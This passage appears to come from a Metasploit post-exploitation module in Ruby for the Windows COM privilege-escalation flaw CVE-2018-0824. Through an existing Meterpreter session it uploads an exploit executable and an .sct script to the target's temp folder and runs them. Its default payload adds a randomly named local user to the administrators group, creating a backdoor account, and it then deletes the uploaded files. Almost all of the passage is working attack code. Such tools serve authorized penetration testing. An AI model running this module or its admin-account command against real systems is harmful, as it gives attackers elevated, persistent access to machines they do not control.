OptString.new('SCRIPT_NAME',
[false, 'The filename to use for the COM script file (%RAND% by default).', nil]),
OptString.new('PATH',
[false, 'Path to write binaries (%TEMP% by default).', nil]),
])
end
def setup
super
validate_active_host
@exploit_name = datastore['EXPLOIT_NAME'] || Rex::Text.rand_text_alpha((rand(8) + 6))
@script_name = datastore['SCRIPT_NAME'] || Rex::Text.rand_text_alpha((rand(8) + 6))
@exploit_name = "#{exploit_name}.exe" unless exploit_name.match(/\.exe$/i)
@script_name = "#{script_name}.sct" unless script_name.match(/\.sct$/i)
@temp_path = datastore['PATH'] || session.sys.config.getenv('TEMP')
@exploit_path = "#{temp_path}\\#{exploit_name}"
@script_path = "#{temp_path}\\#{script_name}"
end
def populate_command
username = Rex::Text.rand_text_alpha((rand(8) + 6))
password = Rex::Text.rand_text_alpha((rand(8) + 6))
print_status("username = #{username}, password = #{password}")
cmd_to_run = 'net user /add ' + username + ' ' + password
cmd_to_run += ' & net localgroup administrators /add ' + username
print_status(cmd_to_run)
return cmd_to_run
end
def validate_active_host
begin
print_status("Attempting to Run on #{sysinfo['Computer']} via session ID: #{datastore['SESSION']}")
rescue Rex::Post::Meterpreter::RequestError => e
elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}")
raise Msf::Exploit::Failed, 'Could not connect to session'
end
end
def validate_remote_path(path)
unless directory?(path)
fail_with(Failure::Unreachable, "#{path} does not exist on the target")
end
end
def validate_target
if sysinfo['Architecture'] == ARCH_X86
fail_with(Failure::NoTarget, 'Exploit code is 64-bit only')
end
if sysinfo['OS'] =~ /XP/
fail_with(Failure::Unknown, 'The exploit binary does not support Windows XP')
end
end
def ensure_clean_destination(path)
if file?(path)
print_status("#{path} already exists on the target. Deleting...")
begin
file_rm(path)
print_status("Deleted #{path}")
rescue Rex::Post::Meterpreter::RequestError => e
elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}")
print_error("Unable to delete #{path}")
end
end
end
def upload_exploit
local_exploit_path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2018-0824', 'UnmarshalPwn.exe')
upload_file(exploit_path, local_exploit_path)
print_status("Exploit uploaded on #{sysinfo['Computer']} to #{exploit_path}")
end
def upload_script(cmd_to_run)
vprint_status("Creating the sct file with command #{cmd_to_run}")
local_script_template_path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2018-0824', 'script_template')
script_template_data = ::IO.read(local_script_template_path)
vprint_status("script_template_data.length = #{script_template_data.length}")
full_command = 'cmd.exe /c ' + cmd_to_run
full_command = full_command
script_data = script_template_data.sub!('SCRIPTED_COMMAND', full_command)
if script_data == nil
fail_with(Failure::BadConfig, "Failed to substitute command in script_template")
end
vprint_status("Writing #{script_data.length} bytes to #{script_path} to target")
write_file(script_path, script_data)
vprint_status('Script uploaded successfully')
end
def run
if datastore['COMMAND'].nil?
cmd_to_run = populate_command
else
cmd_to_run = datastore['COMMAND']
end
print_status("exploit path is: #{exploit_path}")
print_status("script path is: #{script_path}")
print_status("command is: #{cmd_to_run}")
begin
validate_active_host
validate_target
validate_remote_path(temp_path)
ensure_clean_destination(exploit_path)
ensure_clean_destination(script_path)
vprint_status("Uploading Script to #{script_path}")
upload_script(cmd_to_run)
vprint_status("Uploading Exploit to #{exploit_path}")
upload_exploit
vprint_status('Launching Exploit...')
command_output = cmd_exec(exploit_path + ' ' + script_path)
vprint_status(command_output)
print_good('Exploit Completed')
ensure_clean_destination(exploit_path)
ensure_clean_destination(script_path)
rescue Rex::Post::Meterpreter::RequestError => e
elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}")
print_good('Command failed, cleaning up')
print_error(e.message)
ensure_clean_destination(exploit_path)
ensure_clean_destination(script_path)
end
end
attr_reader :exploit_name
attr_reader :script_name
attr_reader :temp_path
attr_reader :exploit_path
attr_reader :script_path
end